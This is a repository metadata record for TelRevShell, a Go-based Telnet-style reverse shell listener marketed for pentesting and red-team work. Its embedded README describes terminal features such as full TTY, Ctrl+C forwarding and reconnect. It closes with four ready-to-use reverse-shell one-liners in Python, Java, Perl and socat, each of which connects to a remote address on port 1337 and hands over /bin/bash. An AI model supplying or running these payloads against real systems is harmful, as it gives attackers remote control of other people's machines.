{"id":29878043,"url":"https://github.com/christarcher/telrevshell","last_synced_at":"2026-05-15T20:05:59.311Z","repository":{"id":306968604,"uuid":"1027841572","full_name":"christarcher/TelRevshell","owner":"christarcher","description":"支持命令模式的类Telnet 交互式反弹Shell服务端. Telnet-style multi-platform interactive reverse shell server written in Go","archived":false,"fork":false,"pushed_at":"2025-07-28T17:16:26.000Z","size":2040,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":0,"default_branch":"main","last_synced_at":"2025-07-28T19:12:54.491Z","etag":null,"topics":["cli-tool","golang","hacker-tool","interactive","pty","red-team","remote-control","reverse-shell","shell","telnet","telnet-client"],"latest_commit_sha":null,"homepage":"","language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/christarcher.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2025-07-28T16:01:51.000Z","updated_at":"2025-07-28T17:16:01.000Z","dependencies_parsed_at":"2025-07-28T19:24:14.884Z","dependency_job_id":null,"html_url":"https://github.com/christarcher/TelRevshell","commit_stats":null,"previous_names":["christarcher/telrevshell"],"tags_count":1,"template":false,"template_full_name":null,"purl":"pkg:github/christarcher/TelRevshell","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/christarcher%2FTelRevshell","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/christarcher%2FTelRevshell/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/christarcher%2FTelRevshell/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/christarcher%2FTelRevshell/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/christarcher","download_url":"https://codeload.github.com/christarcher/TelRevshell/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/christarcher%2FTelRevshell/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33078046,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-15T20:05:40.333Z","status":"ssl_error","status_checked_at":"2026-05-15T20:05:38.672Z","response_time":103,"last_error":"SSL_read: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["cli-tool","golang","hacker-tool","interactive","pty","red-team","remote-control","reverse-shell","shell","telnet","telnet-client"],"created_at":"2025-07-31T07:01:04.899Z","updated_at":"2026-05-15T20:05:59.305Z","avatar_url":"https://github.com/christarcher.png","language":"Go","funding_links":[],"categories":[],"sub_categories":[],"readme":"# TelRevShell\n\n🚀 一个类 Telnet 风格的 交互式反弹Shell 服务端，支持交互控制、命令模式和跨平台运行，基于 Go 编写。\n\n🚀 A telnet-style interactive reverse shell server with escape command mode, cross-platform support, and interactive terminal control – built with Go\n\n---\n\n## Features / 功能特点:\n\n- 🖥️ Cross-platform support (Linux, Windows, macOS) / 跨平台支持\n- ⌨️ Interactive terminal with raw mode handling / 原生终端交互体验\n- 🎛️ Escape key based command-mode (Ctrl+]) / 支持类 Telnet 快捷键命令模式（Ctrl+]）\n- 🔄 Auto-reconnect and force-exit support / 支持断开重连与强制退出操作\n\n---\n\nIf you encounter the following problems during pentesting / 如果你在渗透测试时遇到这些问题\n\n- Some commands, like `apt` and `ssh` require a proper terminal to run / 一些指令像 `apt` 和 `ssh` 需要一个真终端才能运行.\n- STDERR usually isn’t displayed / 看不到STDERR\n- Can’t properly use text editors like `vim` / 不能使用vim等编辑器\n- No tab-complete / 没有Tab补全\n- No up arrow history / 不能使用PgUP查看历史指令\n- No job control / 没有Job Control\n- No color / 没有颜色\n\n## When traditional reverse shells fail you... / 当传统反连Shell不够用时...\n\nIn many real-world pentesting scenarios, you end up getting back a very limited or *dumb shell*. These shells often lack interactivity and have broken terminal behaviors.\n\n在真实的渗透测试中，我们常常只能拿到一个非常“原始”的 *哑shell*。这些shell通常交互性差，终端行为异常。\n\nFor example:\n\n- `nc` listener doesn't support terminal input signals, so you can't use `Ctrl+C` or `Ctrl+Z`\n- `nc`监听时不支持输入信号，无法 `Ctrl+C`、`Ctrl+Z` 终止程序或挂起后台任务\n\n- `socat` sometimes fails to release the port when forcefully terminated, causing `bind: address already in use` errors on restart\n- `socat` 一旦强行结束后会出现端口未释放问题，重启时显示 `bind: address already in use`\n\n- You may end up killing your listener or locking yourself out if the shell crashes\n- 一旦远程Shell崩溃，你可能直接断连且端口仍被占用，无法恢复监听\n\n---\n\n## TelRevShell tries to fix that\n\n**TelRevShell** is a Go-based reverse shell listener/server that behaves like Telnet, offering a persistent, interactive terminal interface.\n\n**TelRevShell** 是一个类Telnet风格的反向Shell服务器，使用Go编写，支持「持久连接 + 真终端 + 命令控制」。\n\n- A full TTY experience (arrow keys, colors, editors like `vim`)\n  - 全TTY体验（方向键、颜色、支持`vim`等编辑器）\n\n- Ctrl+C works (SIGINT forwarded)\n  - 支持 `Ctrl+C` 发送SIGINT中断\n\n- Escape key command-mode (`^]`) lets you drop into control\n  - 快捷键 `Ctrl+]` 进入命令模式，可随时查看状态或安全退出\n\n- Clean shutdown and reconnect logic\n  - 支持清理退出，优雅等待客户端重连\n\n- Port reliably released after disconnection\n  - 解除绑定后端口自动释放，无需手动kill进程\n\n---\n\n## interactive revshell examples / 交互式反弹shell样例\n\nPython3: \n\n```python3\nimport socket,subprocess,os,pty;s=socket.socket();s.connect((\"1.2.3.4\",1337));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/bash\")\n```\n\nJava:\n\n```java\nimport java.io.*;import java.net.*;class R{public static void main(String[] a)throws Exception{Socket s=new Socket(\"1.2.3.4\",1337);Process p=new ProcessBuilder(\"/bin/bash\").redirectErrorStream(true).start();InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()\u003e0)so.write(pi.read());while(pe.available()\u003e0)so.write(pe.read());while(si.available()\u003e0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);}}}\n```\n\nPerl:\n\n```perl\nuse Socket;$i=\"1.2.3.4\";$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\"\u003e\u0026S\");open(STDOUT,\"\u003e\u0026S\");open(STDERR,\"\u003e\u0026S\");exec(\"/bin/bash -i\");};\n```\n\nSocat:\n\n```bash\nsocat TCP:1.2.3.4:1337 EXEC:\"/bin/bash\",pty,stderr,sigint,sane\n```\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fchristarcher%2Ftelrevshell","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fchristarcher%2Ftelrevshell","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fchristarcher%2Ftelrevshell/lists"}